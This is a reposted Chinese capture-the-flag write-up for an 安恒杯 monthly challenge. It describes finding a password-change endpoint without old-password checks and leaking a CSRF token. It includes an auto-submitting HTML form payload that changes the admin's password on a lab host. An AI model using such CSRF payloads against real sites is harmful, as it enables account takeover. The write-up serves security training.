码迷,mamicode.com
首页 > 其他好文 > 详细

安恒杯2月月赛-应该不是xss

时间:2018-03-07 21:53:30      阅读:976      评论:0      收藏:0      [点我收藏+]

标签:图片   一个   密码登录   blog   doc   font   php   tps   targe   

 

 

 

1. 打开题目一看,是个留言板

技术分享图片

 

 2. 查看源码发现有几个js文件

技术分享图片

依次打开发现在main.js里存在这样一段代码

技术分享图片

3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密码的时候不需要输入原密码,大概其是个csrf

技术分享图片

4. 再查看app.js,是个修改密码的js,但是会先验证token,所以我们需要先得到token

技术分享图片

获取token的方法原理:https://githubengineering.com/githubs-post-csp-journey/

5. 利用:
技术分享图片

6. 监听得到token

技术分享图片

 

7. 下一步就是构造链接,让管理员修改为我们想要的密码

在自己的服务器放置一个修改密码的页面,代码如下

<form action="http://192.168.5.94/api.php?action=chgpass" method="POST" name="chpa">
<input type="text" name="password" value="hell0_w" />
<input type="text" name="password2" value="hell0_w" />
<input type="text" name="token" value="ymYV0QvnvPbYGfUsmfmOI8Qz4wXaSQU6" />
</form>
<script>document.forms[chpa].submit();</script>

技术分享图片

 

收到请求

技术分享图片

 

 

 使用我们修改的密码登录,就可以看到我们想要的flag了

 技术分享图片

 

安恒杯2月月赛-应该不是xss

标签:图片   一个   密码登录   blog   doc   font   php   tps   targe   

原文地址:https://www.cnblogs.com/hell0w/p/8525054.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!